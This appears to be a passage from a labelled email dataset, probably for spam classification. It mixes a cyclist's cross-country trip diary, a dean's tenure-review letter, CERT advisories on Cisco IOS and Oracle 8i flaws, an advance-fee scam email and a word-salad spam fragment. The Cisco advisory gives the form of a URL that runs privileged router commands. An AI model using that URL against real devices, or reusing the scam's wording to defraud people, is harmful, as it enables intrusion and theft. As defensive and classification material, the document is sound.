old Erie Canal through Syracuse was long ago filled in and paved over to make streets with suggestive names such as ""Erie Boulevard"". To the untrained eye, there really isn't much of a trace of the canal left in Syracuse. However, I decided to make the best of it and visited the Erie Canal Museum in Syracuse, which was pretty interesting. West of Syracuse I picked up New York State bike route 5, a.k.a. state road 31 which parallels the (new) canal pretty nearly and has a nice level grade to it. I also got my first faceful of the headwinds that will persecute me all the way to the pacific. This slowed down progess, but not nearly as much as the hills had over the past two days (moving average speed it up, as you can see above). I ran into another eastbound tourist today (if you think about it for a minute, you'll realize that practically all the tourists I'm going to run into on this trip will be eastbounders). ""Ian"" is doing my trip in reverse: he started from Seattle on April 13 and hopes to reach Boston in 8 days. I asked him if he didn't run into some weather at the higher elevations after such an early start. Apparently so, some of the Rocky Mountain passes (notably Lolo pass in Montana) had treated him to rain, snow and hail. I gave him my set of Rubel bike maps of western, central and eastern Massachusetts since they are of no use to me now and might help him considerably (they mark the big hills on those maps, in addition to recommended roads for cycling). I had 435 miles on my odomter, he had 2913. The sum of these two numbers (3348) is considerably less than my original estimate of the total distance from Boston to Seattle along the Northern Tier route (4000 miles), and could mean a difference of a full week of cycling. I will have to revisit that estimate. Chip I put in a good long day to celebrate reaching level terrain, but the time spent in the Erie Canal Museum in Syracuse finally caught up to me in the late afetrnoon and I took refuge in a motel as the sun was getting too close to the horizon for my comfort. ",0,0 """Edward H. Yeterian"" ",rjones@colby.edu,"Thu, 28 Jun 2001 10:00:08 -0400",Sixth Semester Review,"June 28, 2001 Dear Randy: I recently completed my reading of the sixth semester review dossier prepared by your committee. I am in overall agreement with the positive conclusion reached as well as with the specific points made in the committee report. I would like to add some comments to those of the committee. Your teaching is off to a very good start overall. Many students seem to respect your knowledge and appear to be able to relate to you as a person. Several note that they find you open and helpful as well challenging and clear. Others suggest that there are ways in which you might consider improving your teaching, e.g., by returning work in a more timely manner and by distributing the workload more evenly across the semester (as much as that can be done and still meet course goals). There will be an opportunity to show improvement as you teach some or all of these courses again. CS 352 appears to have come with some baggage from a previous iteration and likely presents some special challenges as well as opportunities. In order to make the strongest possible case for tenure, you will need to continue to make refinements in your teaching. Your committee makes the case that conference proceedings represent an appropriate, and appropriately rigorous, venue for your scholarship. Since this is not the most common situation in the context of promotion and tenure at Colby, it will be important that your eventual objective outside reviewers validate this situation. I suggest that you be selective about the conferences at which you present so that when your published work is sent for outside review for the tenure consideration, the quality of the places in which it has been published will be very clear to the outside reviewers as well as to the Committee on Promotion and Tenure. In order to make the strongest possible case for tenure, you will need to continue to be active, as you have been, and to place your work where it will have the maximal impact in your field. That said, I agree with your committee's assessment that you are off to a very good start as a scholar at Colby, and that you continue to use your affiliation with Soar Technology to facilitate your productivity. I consider service to be an important component of faculty life at all stages of one's career. I am pleased to learn that your have carried out valuable service in your department and in your profession. I hope that you will become more involved in College-level service in the next few years. In summary, I am pleased to accept your committee's recommendation for a three-year contract (you will receive that letter shortly). I hope that you are able to continue to build on the very good start that you have made as a teacher and advisor; to bring your scholarly projects to fruition in a timely manner and in the strongest possible venues; and to expand your service to the campus community while continuing to serve your department Best wishes for the summer and for next year. Sincerely, Ed ------------------------------------------------------------------- Edward H. Yeterian, Ph.D. Vice President for Academic Affairs and Dean of Faculty Colby College 4781 Mayflower Hill Waterville, ME 04901-8847 USA Phone: 207-872-3204 FAX: 207-872-3280 email: ehyeteri@colby.edu ",0,0 CERT Advisory ,cert-advisory@cert.org,"Thu, 28 Jun 2001 11:28:08 -0400",CERT Advisory CA-2001-14,"-----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2001-14 Cisco IOS HTTP Server Authentication Vulnerability Original release date: June 28, 2001 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Cisco IOS systems using local authentication databases with the HTTP server enabled Overview A problem with the HTTP server component of Cisco IOS system software allows an intruder to execute privileged commands on Cisco routers if local authentication databases are used. I. Description By sending a particular URL to a Cisco IOS device with the HTTP server enabled, a remote attacker may be able to execute commands at the highest privilege level (15). The malicious URL is of the following form: http:///level/XX/exec/... The value of XX is a number between 16 and 99. While a single malicious URL will not work consistently against all devices, the limited number of possible URLs can allow an attacker to try each URL until the attack succeeds. This problem occurs if the system is using a local authentication database, but not if the Terminal Access Controller Access Control System (TACACS+) or Radius authentication systems are used. Cisco has published a security advisory describing this vulnerability and its solutions, in more detail at: http://www.cisco.com/warp/public/707/IOS-httplevel-pub.html II. Impact A remote attacker can execute arbitrary commands at the highest privilege level (15) on systems using local authentication databases with the HTTP server enabled. This access allows a remote attacker to inspect or change the configuration of the device, effectively allowing complete control. III. Solution Upgrade your IOS Release Cisco has published detailed information about upgrading affected Cisco IOS software to correct this vulnerability. System managers are encouraged to upgrade to one of the non-vulnerable releases. Disable the HTTP server Because this problem exists in the handling of HTTP requests, disabling the HTTP server prevents the vulnerability from being exploited. Information about disabling the HTTP server is provided in the Cisco security advisory on this topic. Enable TACACS+ or Radius Authentication This vulnerability is not present when the Terminal Access Controller Access Control System (TACACS+) or Radius authentication systems are used. Enabling one of these authentication mechanisms in place of local authorization databases will prevent the vulnerability from being exploited. Information about enabling TACACS+ or Radius can be found in the following Cisco document: http://www.cisco.com/warp/public/480/tacplus.shtml Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. When vendors report new information to the CERT/CC, we update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. 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Revision History June 28, 2001: Initial release -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use Charset: noconv iQCVAwUBOztJpAYcfu8gsZJZAQFoOgP/UBtU8yqFbhHf/xD82wCewpBi6NhBAk2M 66WLouQrnXIMWzRWnLmRNV74p+7u+92IxFS/u+TqTzIfByUOtwXLswcRRvHlXYXk 511yHK01wlfgtgv7wwg8doYyCUGPamznNnVEAnbZ/9zoM6Y1nuvUEUgOnvvT9ZMu sCRihIv2WGg= =THYA -----END PGP SIGNATURE-----",0,1 Chip Coldwell ,bike-diary@frank.harvard.edu,"Thu, 28 Jun 2001 18:43:00 -0400",Bike Diary #3,"Day 6 Date: Thursday June 28, 2001 Distance: 69 miles Moving average speed: 12.8 mph Left at 7:30 AM Arrived at 3:00 PM Overnight in Niagara County Camping Resort, northeast of Lockport, NY latitude 43 d 14 m 1 s N longitude 78 d 37 m 41 s W Cumulative distance: 543 miles Today is my 32nd birthday; I can't think of how I would rather have spent it than doing exactly what I was doing today: riding a bicycle across the US. After my conversation with Ian, the eastbounder from Seattle, I went over my mileage estimate again, and I came up with very nearly the same figure I had before; namely, 4073 miles. I suppose Ian could have been wrong, but that's unlikely since cyclists by and large are very scrupulous about getting credit for every inch travelled. More likely his route (which I know is not the same as mine) is shorter. He did say he had taken Interstate 90 across Montana and North Dakota. Personally, I think half the point of an adventure such as this is getting away from the interstates, so I'm not much tempted to deviate to save miles. As of today, the average daily mileage is 90, but that statistic will go down alot over the next two days since tomorrow is another short day and Saturday I'm not moving at all. However, it is interesting to note that if this pace is extrapolated forward, it puts me on a seven week schedule to reach Seattle, right in the middle of the six-to-eight week estimate I gave at the beginning. It was a pretty easy day today. I've been planning to stay with a friend of mine from college in Buffalo, Owen Harrison, and it was going to be more convenient for him to have me arrive tomorrow (Friday) than today, so I inserted a day. This is convenient for me as well, since it means I can take a leisurely day through Niagara Falls and get my snapshots and postcards and all that. I spent the day switching between two different recommended bicycling routes: the one from Adventure Cycling which says take the canal towpath and the one from the state of New York which says take route 31. In places such as Rochester, route 31 is a pretty busy road and not much fun to bike on. In other places, the canal towpath deteriorates quite a bit and its hard to make any time on it. Fortunately the two routes are close and parallel for most of the distance so switching back and forth as the moment demands is not a problem. I ran into more eastbounders today: this time a retired couple from Santa Ana, CA who had flown to Cleveland and were riding east from there. We performed the usual rituals observed by long-distance tourists under these circumstances: we exchanged information on routes and roads and other cyclists headed that way and then parted ways after the obligatory ""happy trails"". Tonight I'm in a campground that is an example of a phenomenon that I had not realized existed in this country before I started touring. It turns out that there are alot of ""campgrounds"" in this country that basically serve as summer (or even year-round) homes for folks that can't afford the more traditional variety. They bring an RV or a trailer to the ""campground"", pay a seasonal rate, and establish themselves as permanent residents of the ""campsite"" for the duration. Naturally, most folks want something more for a home than what they get from a camper, and so alot of them have built additions onto their campers that are more permanent structures than the campers they are supposed to be enhancing: framed in two-by-fours with wood siding, glass windows and the works, it makes one wonder why they bother to maintain the pretense of living in the camper. Some of them have even built little fences around their ""campsites"" and put lawn ornaments within! It occurred to me that this is hardly a new phenomenon in this country. If you go to the town of Oak Bluffs on Martha's Vineyard, the area around the Old Iron Tabernacle is filled with dozens of gorgeous, tiny carpenter-gothic wooden houses that were built there by folks who came to the Vineyard for the camp meeting revival, but liked it so much there that they started staying for the whole summer. They only had their tent sites from the camp meeting to build more permanent structures on, so the houses had to be very small. But I suppose a sort of keeping-ahead-of-the-Joneses effect made them get more and more elaborate. Anyway, it was clearly the same phenomenon going on there over a hundred years ago that I am seeing around me here in my campground in Lockport. I should add, as a final bizarre postscript, that just as I was settling into my tent to go to sleep I had a visit from my neighbor in the next campsite who wanted to warn me about his dogs. He said ""They don't bite, really, well there was that one little girl, but she charged him ...."" I wonder what the backstory to the incident alluded to is. I admit I lacked the courage at the time to ask. ",0,0 Chip Coldwell ,bike-diary@frank.harvard.edu,"Wed, 27 Jun 2001 22:39:00 -0400","Bike Diary #2, addendum"," Some folks on the list have asked if I mind getting responses (the usual concern is one of conserving cellular modem bandwidth). Well, so far I have not been able to get the damn cellular modem to do much of anything for me -- even with the strong signals here in Rochester, NY it connects for a short while and then craps out. Forunately, it is not costing me much additional weight to haul this POS around with me: just a PCMCIA card (that stays in the handheld PC) and an twelve-inch cable to connect it to the cellphone. At any rate, on a landline I have plenty of BW to spare, so as long as there are no attachments (which this thing is not supposed to download anyway), I love getting responses, especially news from home. Apparently a few folks were inadvertently left off of the list and are getting my reports second-hand from folks who were not. I apologize profusely to those who were overlooked. I can, with some difficulty, make additions to the mailing list from the road, but it is a bit of a pain. If you can line yourselves up somebody on the list to forward the diary to you, that would certainly be the easiest for me. Second easiest would be to contact Darren Leigh (dlleigh@frank.harvard.edu) and ask him to add you to the bike-diary alias on frank. If all else fails, I can log in from the handheld and do it myself. It appears that these reports are going to be pretty sporadic since 1) cellular coverage of the back roads of America is worse than I expected and 2) the cellular modem is more demanding of signal quality than I expected and 3) the cellular modem is more demanding of power than I expeted. Ocassionally I pass a cellular tower on the road (they're easy to recognize), but without a source of AC power I can't really use the cellular modem since it drains the two AA cells powering the handheld almost instantly. I plan to continue making daily entries, and I will transmit them at the first opportunity, but that might be only once or twice a week. Some recent additions to the list were wondering where in hell it is coming from. So here's the story: my brother-in-law loaned me his NEC MobilePro handheld PC, a MIPS R4000 powered WinCE clamshell computer with full keyboard (thanks, Ross) and I bought a 3Com 3CXM756 GSM & Cellular modem PCMCIA card that I can plug into both the handheld PC and the cellphone (a Nokia 6160m with AT&T Digital One-Rate service). In principle, that should be all that it takes; in practice it seems that it also takes an AC power source and a landline. Oh well, it was fun to try. Anyway, I am using these gizmos to send periodic (sporadic?) reports from the road as I ride my bicycle from Boston to Seattle to a list of folks who either expressed an interest or who I thought would be interested. The plan of the moment is now to arrive in Buffalo on Friday and probably layover there Saturday. I'll shoot for Lockport tomorrow (Thursday) and have a leisurely day in Niagara Falls on Friday before continuing down to Buffalo. The next major cities on the route after Buffalo are Erie, PA and Cleveland, OH; the route follows a line about 15 miles south of Fort Wayne, IN at its closest approach. There are a couple of folks I would love to see in the Chicago area, but Adventure Cycling's route would take me well to the south of Chicago, and I'm not sure if it's wise to detour. I have at least until Cleveland to make up my mind, and good maps of Ohio, Indiana and Illinois if I decide to detour north. Finally, if I'm not responding to your email quickly it's because my MO is to send my responses, download new mail, then disconnect. So you might not get a response to an email I just downloaded until the next connection. It doesn't mean that I'm ignoring you, just coping with my connectivity limitations. ",0,0 Chip Coldwell ,bike-diary@frank.harvard.edu,"Sat, 30 Jun 2001 08:34:00 -0400",Bike Diary #4,"Day 7 Date: Friday June 29, 2001 Distance: 68 miles Moving average speed: 11.8 mph Left at 8:45 AM Arrived at 4:30 PM Overnight in Amherst, a suburb of Buffalo, NY latitude 42 d 59 m 35 s N longitude 78 d 44 m 04 s W Cumulative distance: 611 miles More than 600 miles is seven days ... not a bad start if I say so myself. Of course, there's something like 3400 miles to go, so it really is just a tiny dent in the total distance. But it is starting to feel like I'm on my way for real now. I started the day with the short ride from Lockport to the Canadian border and crossed on the Lewiston-Queenstown bridge to ride down the Niagara Parkway on the Canadian side and see the famous falls. I must say that I cannot remember the last time I saw such a concentration of kitsch and tourist traps in such a short distance. But the falls are quite spectacular, and the Niagara Parkway itself is a very nice ride upstream from the falls. I rode it as far as Fort Erie and then crossed back into the US on the Peace Bridge into Buffalo. An old friend of mine from college, Owen Harrison, is putting me up here in Buffalo. We went into town and watched a minor league baseball game beteen the Buffalo Bisons (Department of Redundancy Department?) and some team called the ""Indians"". That was a blast, but a very bizarre thing happened around the 8th inning: it started raining bugs. I have no idea where they came from, but all these bugs started pelting us there in the bleachers like some kind of Biblical plague. They were very lethargic, once they landed they didn't take off again, so I suspect they were blown in from somewhere. Quite a few people cleared out of the stands in fear of an impending apocalypse, no doubt. Owen and I are not so timid, and stuck it out through nine innings. It was tied up 4-4 at 10:30 PM and going into extra innings when we left. I'm going to layover at Owen's place tomorrow. Day 8 Date: Friday June 29, 2001 Layover day. I spent the day going over my gear to make sure everything was still in order, doing my laundry and buying essentials (Coleman fuel for the stove and spare flashlight bulbs). We still had enough time to drive down to Orchard Park and go through the Pedaling History Bicycle Museum there, a truly fabulous collection of bicycles from the early 19th century to the present. I highly recommend it to any cycling enthusiasts passing through the area. ",0,0 Richard James ,XXX@XXXXXXXX.XXXXXXX.XXX,"Mon, 02 Jul 2001 15:24:43 +0200",TRANSACTION,"Dear Friend, My name is RICHARD JAMES of Barclays Bank London. I am writing you regarding an oppurtunity in my office that will be of immense benefit to both of us. In my department we discovered a sum of $52.750 million Dollars (Fifty two million, Seven hundred and fifty thousand Dollars) in an account that belongs to one of our foreign customers Late Mr. Morris Thompson 61, an American who unfortunately lost his life in the plane crash of Alaska Airlines Flight 261 which crashed on January 31th, 2000 including his wife and only daughter. Please, read more about the crash on visiting this site. http://www.cnn.com/2000/US/02/01/alaska.airlines.list and http://www.nativefederation.org/history/people/mThompson.html Since we got information about his death, we have been expecting his next of kin or relatives to come over and claim his money, because we cannot release it unless somebody applies for it as next of kin or relation to the deceased as indicated in our banking policies. Unfortunately, his supposed next of kin being his only daughter died along with him in the plane crash, leaving nobody with the knowledge of this fund behind for the claim. It is therefore upon this discovery that I and two other officials in this department now decided to make business with you and release the money to you as the next of kin or beneficiary of the funds for safe keeping and subsequent disbursements, since nobody comes for the claims, and we don't want this money to go back into Government treasury as unclaimed fund. The banking law and guidelines here stipulates that, after five years such money will be transferred into banking treasury as unclaimed funds. We agreed that 30% of this money will be for you as foreign partner, while the balance of 70% will be for us. I will visit your country for the disbursement according to the percentages indicated once this money gets into your account. Please be honest enough because trust is our watchword in this transaction. Note this transaction is confidential and risk free. As soon as you receive this mail.please do your very best to get in touch with our (FOREIGN PAYMENT DIRECTOR) email at: nelsonbright@virgilio.it or ricjames@virgilio.it Better still call 0044 208 819 6330 All necessary arrangements for the smooth release of these funds has been finalised. Our Foreign Payment Director, Mr. NELSON BRIGHT will give you specific instructions on what to do. Please in your response include your telephone number for easy communication between us. Best Regards. Mr Richard James. ",1,1 CERT Advisory ,cert-advisory@cert.org,"Tue, 03 Jul 2001 17:36:22 -0400",CERT Advisory CA-2001-16," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2001-16 Oracle 8i contains buffer overflow in TNS listener Original release date: July 03, 2001 Last revised: -- Source: CERT/CC A complete revision history is at the end of this file. Systems Affected * Systems running Oracle 8i Overview A vulnerability in Oracle 8i allows remote intruders to assume control of database servers running on victim machines. If the Oracle server is running on a Windows system, an intruder may also be able to gain contol of the underlying operating system. I. Description The COVERT labs at PGP Security have discovered a buffer overflow vulnerability in Oracle 8i that allows intruders to execute arbitrary code with the privileges of the TNS listener process. The vulnerability occurs in a section of code that is executed prior to authentication, so an intruder does not require a username or password. For more information, see the COVERT Labs Security Advisory, available at http://www.pgp.com/research/covert/advisories/050.asp II. Impact An intruder who exploits the vulnerability can remotely execute arbitrary code. On UNIX systems, this code runs as the 'oracle' user. If running on Windows systems, the intruder's code will run in the Local System security context. In either case, the attacker can gain control of the database server on the victim machine. On Windows systems, the intruder can also gain administrative control of the operating system. III. Solutions Install a patch from Oracle. More information is available in Appendix A. Appendix A Oracle Oracle has issued an alert for this vulnerability at http://otn.oracle.com/deploy/security/pdf/nai_net8_bof.pdf Oracle has fixed this potential security vulnerability in the Oracle9i database server. Oracle is in the process of backporting the fix to supported Oracle8i database server Releases 8.1.7 and 8.1.6 and Oracle8 Release 8.0.6 on all platforms. The Oracle bug number for the patch is 1489683. Download the patch for your platform from Oracle's Worldwide Support web site, Metalink: http://metalink.oracle.com Please check Metalink periodically for patch availability if the patch for your platform is not yet available. _________________________________________________________________ Our thanks to COVERT Labs at PGP Security for the information contained in their advisory. _________________________________________________________________ This document was written by Shawn V. Hernan. If you have feedback concerning this document, please send email to: mailto:cert@cert.org?Subject=[VU#620495]%20Feedback%20CA-2001-16 Copyright 2001 Carnegie Mellon University. Revision History July 03, 2001: Initial Release -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use Charset: noconv iQCVAwUBO0I28QYcfu8gsZJZAQF1AQP/QvE4AO+I5HP8VXK850g83NlPiFCxlG1K 51GjO/KCFqK78DoBK9YWvxGaZiR6xKaxYJbGftcJh1zKwNqiRDIGk1OdeW873uhj bR8vjobFMzNSZU5y9gXPa9YQWdEg1KozQH1VuNsBxRnmHu6Yi3WANbmZXYcRck2x lhP8noPes/Q= =nVFt -----END PGP SIGNATURE----- ",0,1 Chip Coldwell ,bike-diary@frank.harvard.edu,"Fri, 31 Aug 2001 19:57:00 -0400",Bike Diary #5,"Day 9 Date: Sunday, July 1, 2001 Distance: 118 miles Moving average speed: 12.7 mph Left at 7:50 AM Arrived at 7:00 PM Overnight in Cassidy's Presque Isle Trailer and Campground near Erie, PA latitude 42 d 3 m 19 s N longitude 80 d 8 m 28 s W Cumulative distance: 729 miles In the morning, today was all about wind. When I left Amherst, there was a cold front coming in and a brief shower made me wonder if I was in for another inauspicious beginning. Fortunately, the rain held off. The wind did not. My route south of Lackawanna, NY was state road 5, which hugs the southern coastline of Lake Erie from Buffalo to Conneaut, OH. As one might imagine, the wind comes off of Lake Erie with tremendous force (especially with a cold front moving in), enough to slow my progress to a crawl at times. Then, much to my surprise and delight, the wind turned out to be a fickle creature (undoubtably that cold front at work again) and would turn around to my after quarter and push me along for a few miles before turning abeam again. The upshot was that most of the time the going was pretty smooth today, it was 12:20 PM when my odometer counted the 50th mile of the day (I consider it a good start if I have 50 miles by noon). I even crossed a state line (NY/PA) and took the inevitable photo of the bicycle leaning against the sign that says ""Welcome to Pennsylvania"". I don't know why it is that something always ends up making even a relatively good day into a long one. As I rolled down route 5, I kept passing very nice looking campgrounds and thinking to myself that this was all in accordance with the Principle of Maximum Perversity: now when I only have 75 miles on the day there are campgrounds in abundance, but as soon as I get over 100 and I'm ready to call it a day, there will be none for 25 miles. It was 5:00 PM when I reached downtown Erie, PA. The map showed two campgrounds in town, one very close to the route and one quite a little ways off the route. It should come as no surprise that, all other things being equal, the closer campground is to be preferred. I rolled up to the office of the Sara Coyne Campground and asked for a tent site for the night. The man on duty told me to go find one and then come back to register it. I think he must have known that as soon as I had a look at their facilities for tent campers, I would seek lodging elsewhere. That campground was easily the most crowded one I've seen so far on this trip. There was no buffer zone between sites; hundreds of RVs crammed into every square inch of ground; nothing but grassless sandlots crammed in the corners for the tent campers (BTW, this was another one of those campgrounds with seasonal rates and campers with elaborate additions on them). It was a small wonder it was so crowded: the very popular beaches of the Presque Isle State Park were within walking distance, as well as a short strip of tourist traps and amusement parks. Of course, I was planning to avail myself of none of these attractions and could see no reason to suffer an unpleasant night just to be in proximity to them, so I did something that I have never done before on a tour and with 110 miles on the odometer I left a campground to go try to find a better one. As I already mentioned, my map listed two campgrounds in Erie, PA. >From the directions it gave for the second campground, I knew I would have to back-track to the main route, Alternate Route 5, and the go south 3.5 miles on State Road 832 and turn left on Love Road. After going a little more than 4 miles south on 832 I realized that I must have missed the turn and my frustration with the project of finding a suitable campsite was pretty high. Fortunately, the map also lists a phone number for the campground and I was carrying a cellular telephone. A little old lady's voice answered and I half expected her to tell me that I had dialed the wrong number. But instead she gave me an unmistakable landmark (a cemetary) for finding Love Road, which it turns out was not marked. Cassidy's Campground is a pretty odd place. It's clearly been here a long time; the facilities are quite old and one suspects that the little old lady who answered my call and then greeted me upon my arrival has been running this place most of her life. The area is both very pretty and very quiet; Walnut Creek runs a few feet from my tent and I share that privilege with less than half a dozen other campers. The proprietress even gave me a substantial discount on the camping fee because I had arrived under my own power and for her ""it's too late to start making money now."" She walks with a cane and with great difficulty, and the campground itself is at the bottom of a steep hill behind the building that is both her home and the campground office, so perhaps it has been a few years since she has even seen it. Things are deteriorated but still functioning; the shower was warm and the electricity was on. I have to admit that I am quite charmed by the place and glad that I went out of my way to get here. Tonight is getting very cold; that cold front that played havoc with the wind today is supposed to bring temperatures in the 40s tonight. I've had to pull out all the cold weather gear that I didn't think I would need before reaching the higher elevations of Montana. Day 10 Date: Monday July 2, 2001 Distance: 133 miles Moving average speed: 15.0 mph Left at: 8:00 AM Arrived at: 8:00 PM Overnight in Wa-Hoo Camping Grunds and Lounge near Sheffield Lake, Ohio Latitude 41 d 27 m 43 s N Longitude 82 d 4 m 10 s W Cumulative distance: 862 miles The moving average speed says it all this time; I woke up to perfect cycling conditions. Clear and sunny sky, cool temperature, level ground and a following wind. I had in mind to go quite a long distance today and there was only one thing in my way that could slow me down: Cleveland. My first real stop of the day was in a diner in Conneaut, Ohio just over the state line from Pennsylvania (and yes, I did take a photo of my bicycle leaning against the sign that says ""Ohio Welcomes You""). In it's heyday, Conneaut was a division point for two railroads: the New York, Chicago and St Loius (better known as the ""Nickel Plate Road"") and the New York Central. Both railroads are still operating (albeit under different names: the former is now part of Norfolk Southern and the latter CSX Transportation), but the division point is gone, a victim of the transition from steam to diesel locomotives. Steam locomotives, romatic as they are, were very manpower intensive to run, and once the conversion to diesel was completed, alot of that manpower became redundant. All that Conneaut has left to show for its heritage is a small museum located in the former New York Central depot. Unfortunately, it didn't open until noon today, and I was passing through at 11 and couldn't see squandering an hour of perfect cycling conditions waiting for it to open. I ran into another eastbounder near Willowick, OH today. He left Seattle on May 20. I calculate that he's ridden about 3180 miles in 42 days, which is 76 miles per day, very respectable going (I now have 862 miles after 10 days, so I'm making slightly better time). The one very valuable piece of information he gave me was that I must make a point to stay a night in Monroeville, IN, where they have a special facility specifically for trans-America cyclists. If things go according to schedule, I'll be spending July 4 there. My goal for today was to get to the west of Cleveland. It's very unusual for an Adventure Cycling route to go through a major city like Cleveland, but the Northern Tier carries you right through downtown (and in front of the Rock 'n' Roll Hall of Fame and Museum, which was just closing when I got there ... not that it would have made any difference either way). This forces you to slow down and spend alot of time waiting at traffic lights. For my fellow Bostonians whose minds are perhaps boggling at the concept of a bicycle waiting at a traffic light please bear in mind that you must be on your best behavior when you are a guest in another city. In the end, going across Cleveland didn't cost me too much time, I still managed to get in 133 miles today. My campground tonight is the first one after Cleveland that shows up on the map. It is perhaps one of the stranger ones I've stayed in so far on this trip. When you approach the Wa-Hoo Campground and Lounge from the main road (state road 611), you are not greeted by a sign that says ""Campground"", but rather by one which says ""Liquor: Wa-Hoo Tavern"". If I hadn't seen an RV making the turn in front of me, I would probably have assumed there was another Wa-Hoo in the same neighborhood. But no, they are one and the same: walk up to the bar and ask them for a tent site for the night and a Budweiser. The campground itself is a bit of a shambles, but not much worse than some of the others I've stayed at. One last closing thought: today was a day when I actually spent alot of time riding at the speed that would eventually be reported by the bicycle computer as my average speed (the mean and the mode were nearly coincident). This is a property of riding on level ground; in hilly terrain you are almost never riding at your average speed. PS tonight I camped practically in the shadow of a cell tower, and still the damned cellular modem couldn't hold a connection long enough to do anything useful. I'm convinced that data over CSC is practically impossible. Day 11 Date Tuesday July 3, 2001 Distance: 56 miles Moving average speed: 12.5 mph Left at 7:45 AM Arrived at 2:30 PM Overnight in Winesburg motel in Clyde, OH Latitude 41 d 18 m 32 s N Longitude 82 s 58 m 22 s W Cumulative distance: 919 miles The day started out with dark clouds stretching from horizon to horizon. I've gone out in conditions like this before and not been rained on, but it's rare. As the saying goes, if it doesn't rain on a day like this, then it's missed a good chance. I had barely put 8 miles on the odometer when the rain began. It was steady but not torrential, and I decided to try waiting it out for an hour in a park shelter near Lorain, OH on the south shore of Lake Erie. About 40 minutes after it began, the rain subsided and I was on my way again. The rain did bring with it a more significant change in the weather, namely the winds returned to their normal pattern which is from the southwest and hard against me. Cornfields and wheatfields may be pretty to look at, but they provide precious little shelter from the wind. Somewhere just east of Vermilion, OH an RV travelling in the opposite direction on US route 6 started honking at me. I had no idea what he was on about, since obviously I couldn't be in his way. A few minutes later he had turned around, passed me with only inches to spare, and then pulled over beside the road in front of me. The next thing I know a retired guy in his sixties strides out of the cab of the RV and starts waving at me. I pulled over and stopped behind his rig. ""Ted Bailey"" his says in a friendly Tennessee accent, extending his hand by way of introducing himself. ""Chip Coldwell"" I say in return while shaking his hand. It turns out that Ted's son, Mark, had left Detroit on a loaded touring bicycle headed for Buffalo and Ted and his wife had driven their RV up from Tennessee to meet him. The last word Ted had from Mark was that they should look for him near Vermilion, OH. By the time they realized I wasn't Mark, they had already made such a spectacle they figured that they might as well say hi. Now, I was westbound and Mark should have been eastbound, but I guess a solo touring cyclist is a rare enough sight on the road that I can forgive them their mistake. Ted rolled off in the direction of Vermilion leaving me with instructions to yell ""Hello, Mark Bailey"" at any eastbounders I see today in order to really blow his son's mind. Things started to get hard with the wind, although mercifully the rain held off. At Huron, OH, I finally turned inland leaving Lake Erie, and I had some hopes that I would leave the wind with it. This didn't happen, but I did start rolling across farm country and felt like I had finally made it into the midwest. Then my knee started hurting. Ever since I was a teenager, I've had chondromalasia in both knees. It flares up from time to time on trips like this one, especially after a bunch of long days such as I have just done. The only thing to do for it is to slacken the pace and take shorter days. So today I bailed out at my first opportunity after my knee gave out, hence the 56 miles and motel. Tomorrow I will shoot for Bowling Green, OH, which was originally my goal for today. Adding a day might be all it takes, or it might not; I'm not especially worried since I had a bad flare up in both knees somewhere around South Carolina on my last trans-America, and I went on to finish in Seattle. Day 12 Date: Wednesday July 4, 2001 Distance: 55 miles Moving average speed: 12.3 mph Left at 9:30 AM Arrived at 4:20 PM Overnight at Childers' home in Tontogany, OH Latitude Longitude Cumulative distance: 973 miles The day started late because I did not expect my knees to have recovered enough to make it a long one. My plan since yesterday had been to spend the night in Bowling Green, OH, thereby dividing what would have been a single day from Lorain to Bowling Green into two days: Lorain to Clyde and then Clyde to Bowling Green. The route out of Clyde follows a bicycle path (a converted railroad right of way as they often are) to Fremont, OH. Unsurprisingly, bicycle paths are a great place to meet other cyclists, and today was no exception. Tim Brutsche works for the Post Office in Clyde and is an avid cyclist. He's done a few group tours around Ohio and hopes to try long distance loaded touring someday. His dedication to the sport extended to underwriting a bench beside the trail, proudly emblazoned with his name. By the time we reached Fremont a steady rain was falling, so we hid under a park shelter in Fremont to wait it out which ended up being an opportunity for me to give him a show-n-tell about my bicycle and assorted gizmos. The rain abated after about an hour and I was on my way with Bowling Green as the destination of the moment. As the weather cleared, the wind built up to something just short of a roaring gale from the southwest. Every so often the route would change from due west to due north (the roads in rural Ohio are laid out strictly along the cardinal compass directions) and I would get a brief taste of tailwind and some notion of what the east- bounders experience in the midwest. Those guys have it easy. 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GET IN NOW, DO""NT REGRET LATER Istvan gadwall becloud Dadaism almanac's Wilmington dusting hypophyseal mistypes legislates cachalot darning disables diverting compression execute crossover cloudy encyclopedia's fixating magicians microsecond's manifolds daffodils Calvary canons dusting lowboy Moliere ",1,0 Chip Coldwell ,bike-diary@frank.harvard.edu,"Wed, 05 Sep 2001 19:30:00 -0400",Bike Diary #6,"Day 13 Date: Thursday July 5, 2001 Distance: 85 miles Moving average speed: 13.1 mph Left at: 8:00 AM Arrived at: 4:00 PM Overnight in: cyclist shelter in Monroeville, IN Latitude 40 d 58 m 7 s N Longitude 84 d 51 m 55 s W Cumulative distance: 1058 miles Today I passed two major milestones: I crossed another state border (Ohio to Indiana, and yes, I took that picture of the sign), and I logged my 1000th mile. Now it's easy to extrapolate forward: if I covered 1000 miles in 13 days then I should cover 4000 miles in 52 days, which is 7 weeks and 3 days, within the range of my 6-to-8 week predeparture prediction. 52 days from my starting date (June 23) is August 13. I would estimate the error on that prediction to be +/- 4 days, on the grounds that I added 1 day of riding to the first 1000 miles to nurse an injured knee, which extrapolates to 4 days over 4000 miles. The weather today was fine, sunny with a high in the 70s, and the riding conditions would have been perfect were it not for the damn headwind. It was from the northwest this time, so I could get a little component of it behind me every time my route turned a little bit south. But along the stretches of roads aligned due west it was a real grind. I should digress on the subject of that headwind. If I could have a nickel for every time somebody has told me that I am riding the ""wrong way"" across the country because the prevailing winds blow from west to east, then I would start getting invited to Bill Gates' parties. Generally speaking, my interlocutors do not even appreciate the full difficulty of riding from east to west, because not only are the prevailing winds against you, but so are the prevailing hills. You may recall from a previous Bike Diary entry my discussion of why it is that one should always prefer to go gradually down hill as opposed to an exhilerating rapid descent that squanders all the energy gained from climbing into wind resistance (this is not my opinion, it is a fact of physics). Well, if you think about it, Denver is a mile high (5000 feet above sea level), but still east of the Front Range of the Rockies. The Mississippi River, on the other hand, is only a few hundred feet above sea level. This is true everywhere as you approach the Rockies from the east (for 